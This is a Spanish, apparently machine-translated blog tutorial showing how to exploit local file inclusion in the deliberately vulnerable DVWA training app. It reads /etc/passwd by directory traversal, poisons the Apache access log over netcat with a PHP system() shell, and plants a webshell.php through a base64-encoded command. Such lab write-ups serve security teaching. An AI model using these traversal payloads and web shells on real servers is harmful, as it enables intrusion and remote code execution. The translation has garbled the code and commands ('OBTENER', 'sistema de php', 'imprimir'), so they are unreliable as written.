Damn Vulnerable Web App - Inclusión de archivos locales (LFI)
Autor:
Ashfaq Ansari

Comentado por:
Clasificación:
5
En Marzo 18, 2013
Última modificación:Marzo 18, 2013

Resumen:

Inclusión de archivos locales (LFI) es un tipo de vulnerabilidad con más frecuencia en los sitios web. Permite a un atacante para incluir un archivo local, generalmente a través de una secuencia de comandos en el servidor web. La vulnerabilidad se produce debido al uso de la entrada proporcionada por el usuario sin la validación adecuada.

Introducción

 

En la primera parte de Damn Vulnerable Web App (DVWA) serie, hemos visto cómo podemos instalar Damn Vulnerable Web Application (DVWA) en BackTrack 5 R1.
 

Si usted no ha leído la primera parte, aquí está el enlace: http://hacksys.vfreaks.com / pen-testing / damn-vulnerable-web-app-sql-injection.html

 

Ahora, vamos a probar otro vector de ataque conocido como Inclusión de archivos locales (LFI).
 

Inclusión de archivos locales (LFI) es un tipo de vulnerabilidad con más frecuencia en los sitios web. Permite a un atacante para incluir un archivo local, generalmente a través de una secuencia de comandos en el servidor web.
 

La vulnerabilidad se produce debido al uso de la entrada proporcionada por el usuario sin la validación adecuada. Esto puede conducir a algo tan mínimo como salida el contenido del archivo, pero dependiendo de la severidad, a enumerar algunos puede llevar a:
 


1. Ejecución de código en el servidor web.
2. Ejecución de código en el lado del cliente como JavaScript que puede conducir a otros ataques como Cross Site Scripting (XSS).
3. Denegación de servicio (DoS).
4. Robo de datos y manipulación de datos.

 

Ahora, la idea detrás de Inclusión de archivos locales (LFI) vector de ataque es que, que permite a un atacante incluir archivos locales en el servidor web utilizando el código web vulnerables si el servidor web tiene permiso para acceder a ella.
 

Todos ustedes deben estar pensando “¿Qué es una buena oferta en el mismo?”.
 

Bien, Debo decir que este es un asunto muy grave si el servidor web no está configurado correctamente.
 

Vamos a, considera que un atacante es capaz de incluir un archivo local en el servidor web a través de script PHP vulnerable. Esto significa que va a ser capaz de ejecutar cualquier código PHP que hay en el archivo que se está incluido.
 

Ahora, algunos de ustedes deben estar pensando “¿Cuál es el uso de la ejecución de script PHP mediante la inclusión de un archivo local cuando no ayuda a un hacker para acceder?”.
 

El Apache HTTP Server ofrece una gran variedad de mecanismos para el registro de todo lo que sucede en el servidor web, de la solicitud inicial, a través del proceso de asignación de dirección URL, a la resolución final de la conexión, incluidos los errores que se hayan producido en el proceso de.
 

He aquí un fragmento de la advertencia de seguridad que se encuentra en Página de documentación de Apache HTTP Server.
 

Enlace: http://httpd.apache.org/docs/2.4/logs.html
 

Advertencia de seguridad: Cualquier persona que puede escribir en el directorio en el que Apache httpd está escribiendo un archivo de registro es casi seguro que se puede tener acceso al uid que el servidor se inicia como, que es normalmente la raíz. No le dé a la gente el acceso de escritura al directorio de los registros se almacenan en sin ser conscientes de las consecuencias. véase el documento de consejos de seguridad para obtener más información. Además, archivos de registro pueden contener información suministrada directamente por el cliente, sin escapar. Por lo tanto, es posible que los clientes maliciosos para insertar caracteres de control en los archivos de registro, así que se debe tener cuidado al tratar con registros sin procesar.

 

Para su información, en BackTrack 5 R1, la Log de Apache HTTP Server archivo se encuentra en:
 

/var / log / apache2 / access.log

/var/log/apache2/error.log


 

Damn Vulnerable Web Application - Inclusión de archivos locales (LFI) Vía al archivo
 

Usted ya ha leído la advertencia de seguridad encima de los permisos de directorio de registro. Si el atacante tiene éxito en la búsqueda de la ruta del archivo de registro utilizando Traversal ataque Directorio, que puede envenenar a estos log escribiendo código malicioso en los archivos de registro, si el “log” directorios y archivos permisos no están configurados correctamente.
 

Vamos a ver cómo podemos tóxico la los archivos de registro en la última parte de este post.
 

Armado con la información básica sobre Inclusión de archivos locales (LFI), vamos a proceder y la experiencia que en la sesión de práctica.
 

Nota: En BackTrack 5 R1, la “access.log” Permiso de acceso de archivo para “Otros” está ajustado en “Prohibido”.

 

Damn Vulnerable Web Application - Inclusión de archivos locales (LFI) Entrar Permiso Archivo
 

Ahora, démosle “Se puede leer” La autorización de acceso “Otros”.
 

Damn Vulnerable Web Application - Inclusión de archivos locales (LFI) Leer sesión Permiso Archivo
 

Estamos estableciendo “Se puede leer” permiso para que seamos capaces de demostrar Inclusión de archivos locales (LFI) vector de ataque con Damn Vulnerable Web Application (DVWA).
 

Get Set And Go.

 

Vamos sesión para Damn Vulnerable Web Application (DVWA) y establecer el Seguridad nivel de bajo.
 

Damn Vulnerable Web Application - Inclusión de archivos locales (LFI) Seguridad a Menor
 

Hacer clic en Inclusión de archivos.
 

Damn Vulnerable Web Application - Inclusión de archivos locales (LFI) Tab File Inclusion
 

http://192.168.96.128/DVWA / vulnerabilidades / a /?page = include.php

 

Para incluir un archivo de editar el ?page = index.php en la URL para determinar qué archivo se incluye.
 

Vamos a confirmar si la dirección URL anterior es muy vulnerable a los Inclusión de archivos locales.
 

Haremos Directory Traversal y tratar de incluir /etc / passwd expediente. Si esta inclusión es exitosa, nos encontraremos con el contenido de la /etc / passwd aparece en la página web.
 

http://192.168.96.128/DVWA / vulnerabilidades / a /?page = .. / .. / .. / .. / .. / etc / passwd

 

Damn Vulnerable Web Application - Inclusión de archivos locales (LFI) /etc / passwd Inclusión
 

Eso se ve bien! Hemos sido capaces de incluir /etc / passwd presentar en el Damn Vulnerable Web Application (DVWA) con éxito como la página web que ha visualizado el contenido completo de la /etc / passwd expediente.
 

Nuestra próxima tarea es tratar de incluir Archivo de registro de Apache. De nuevo, usaremos Directory Traversal y tratar de incluir /var / log / apache2 / access.log expediente.
 

Damn Vulnerable Web Application - Inclusión de archivos locales (LFI) Inclusión Registro de acceso
 

http://192.168.96.128/DVWA / vulnerabilidades / a /?page = .. / .. / .. / .. / log / apache2 / access.log

 

Wow! Este es un buen día para nosotros. Las cosas están funcionando en el buen sentido. El servidor Web Apache de access.log archivo se incluye con éxito. Es una gran señal de que ahora, podemos ir hacia y tratar de Tóxico la Registro de errores de Apache.
 

Nota: Como he estado usando este BackTrack 5 R1 desde un año. Voy a limpiar el access.log y error.log por lo que yo soy capaz de mostrar la parte envenenada de los archivos de registro fácilmente.    

Damn Vulnerable Web Application - Inclusión de archivos locales (LFI) Borrar registros

Estamos dispuestos a tóxico la access.log expediente. Este es un paso importante, ya que esto ayudará a que el atacante incluye la access.log presentar y ejecutar el código PHP envenenado que se escribirá en access.log archivo en este paso. La intoxicación se puede confirmar mediante la comprobación de los contenidos de error.log expediente.
 

Abra un Terminal y conectarse a El servidor Web Apache en el puerto 80 uso netcat.
 

1
2
3
root @ bt:~ # nc 192.168.96.128 80

OBTENER /hazStart<?sistema de php(base64_decode($_GET[un]));?>HTTP hazEnd/1.1

 

Damn Vulnerable Web Application - Inclusión de archivos locales (LFI) Registros Poison
 

Ahora, permite confirmar si la intoxicación se ha realizado correctamente. Por esta, abriremos tanto access.log y error.log presentar y tratar de entender sus entradas.
 

Damn Vulnerable Web Application - Inclusión de archivos locales (LFI) Registros Poison
 

Damn Vulnerable Web Application - Inclusión de archivos locales (LFI) Registros Poison
 

Fresco! Tenemos la archivos de registro envenenados. Cada cosa ha funcionado como se esperaba.
 

Nota: Ya hemos escrito un pequeño shell en PHP access.log el archivo de registro. Ahora nuestro siguiente motivo es escribir otro mini shell PHP en la raíz del servidor web que aloja la aplicación Web Damn Vulnerable (DVWA).

 

Aquí está el comando que va a escribir un mini shell PHP en el servidor web.
 

1
eco "<?sistema de php(base64_decode($_GET['P'])); ?>" > ../../webshell.php

 

Si te acuerdas de la Mini PHP shell secuencia de comandos que se inyecta en el access.log expediente, el código de script es la siguiente:
 

1
<?php sistema(base64_decode($_GET['A'])); ?>

 

¿Puedes adivinar el siguiente paso que debemos hacer después de mirar el código de secuencia de comandos de shell?
 

Bien, Ahora vamos a codificar el comando para escribir el mini shell script PHP a raíz del servidor web mediante base64 algoritmo de codificación.
 

Este es un programa fácil de python base64 codificar una cadena:
 

1
2
3
4
5
#!/usr / bin / python

base64encodedstr = "" "Echo"<?sistema de php(base64_decode($_GET['P'])); ?>" > ../../webshell.php """

imprimir "\nCadena codificada: " + base64encodedstr.codificar('Base 64','Estricta') + "\n"

 

Damn Vulnerable Web Application - Inclusión de archivos locales (LFI) Base64 Encode
 

La base64 cadena codificada es la siguiente:
 

1
ZWNobyAiPD9waHAgc3lzdGVtKGJhc2U2NF9kZWNvZGUoJF9HRVRbJ3AnXSkpOyA/PiIgPiAuLi8uLi93ZWJzaGVsbC5waHA=

 

Este va a ser el último paso antes de que nos da la bienvenida con una concha. 🙂
 

Navegaremos a la URL a continuación para escribir la Mini PHP script de shell a raíz del servidor web.

http://192.168.96.128/DVWA / vulnerabilidades / a /?page = .. / .. / .. / .. / log / apache2 / access.log?a = ZWNobyAiPD9waHAgc3lzdGVtKGJhc2U2NF9kZWNvZGUoJF9HRVRbJ3AnXSkpOyA / PiIgPiAuLi8uLi93ZWJzaGVsbC5waHA =

 

Damn Vulnerable Web Application - Inclusión de archivos locales (LFI) PHP Web Shell
 

Finalmente!! Lo hemos hecho con éxito. Hemos subido un Mini PHP shell el uso de un Vulnerabilidad Local File Inclusion en Damn Vulnerable Web Application (DVWA).
 

Me encanta la automatización y esa es la razón por la que amo python. Python le proporciona una excelente potencia para lograr cosas complejas de forma muy sencilla.
 

He escrito un script en Python que escribimos para automatizar la explotación de Inclusión de archivos locales (LFI) en Damn Vulnerable Web Application (DVWA).
 

Damn Vulnerable Web Application - Inclusión de archivos locales (LFI) Explotar Escritura
 

Como la longitud de la secuencia de comandos hazaña es muy grande, He comprimido todos los scripts utilizados en este post y está disponible para su descarga.
 

Descargar Damn Vulnerable Web Application – Inclusión de archivos locales (LFI) Publicación de materiales:
 

DVWA - LFI Scripts Exploit
3.9 KIB
644 Descargas
Detalles ...

 

Gracias por tomarse el tiempo para leer este post. Espero que esto le ayuda a. No dude en dejar atrás mensaje Por favor, si tiene alguna duda o si quieres discutir un tema sobre Inclusión de archivos locales (LFI).
 

46,412 visitas totales, 23 vistas hoy

Las dos fichas siguientes cambian el contenido a continuación.

Ashfaq Ansari

Investigador de Seguridad
Ashfaq Ansari es el fundador de HackSys equipo cuyo nombre en código "Panthera". Él es un investigador de seguridad con experiencia en diversos aspectos de la seguridad de la información. Es autor "HackSys Extreme Vulnerable Conductor" y "Shellcode de la Muerte". También ha escrito y publicado varios documentos técnicos sobre la explotación de software de bajo nivel. Su interés principal radica en "Bajo Explotación Nivel", "Ingeniería Inversa", "Programa de Análisis" y "Híbrido Fuzzing". Él es un fanático de la Inteligencia Artificial y Aprendizaje Automático. Él es el principal capítulo para nula Pune.

2 Las respuestas a las “Damn Vulnerable Web App - Inclusión de archivos locales (LFI)”

  1. ¿Sería posible mostrar el ataque sin el permiso de lectura en el access.log. En otras palabras que salen del conjunto de permisos para prohibidos? Como la mayoría de los servidores pueden tener este juego en el primer lugar. sería muy apreciada.

    • ¡Hola KC,

      Desafortunadamente, el archivo de registro debe tener permiso de lectura en access.log.

      A menos que, somos capaces de leer el archivo, no vamos a ser capaces de llevar a cabo el ataque.

      Sin embargo, puedes probar diferentes tipos de ataque.

      Gracias.

Deja un comentario

Su dirección de correo electrónico no será publicada. Los campos necesarios están marcados *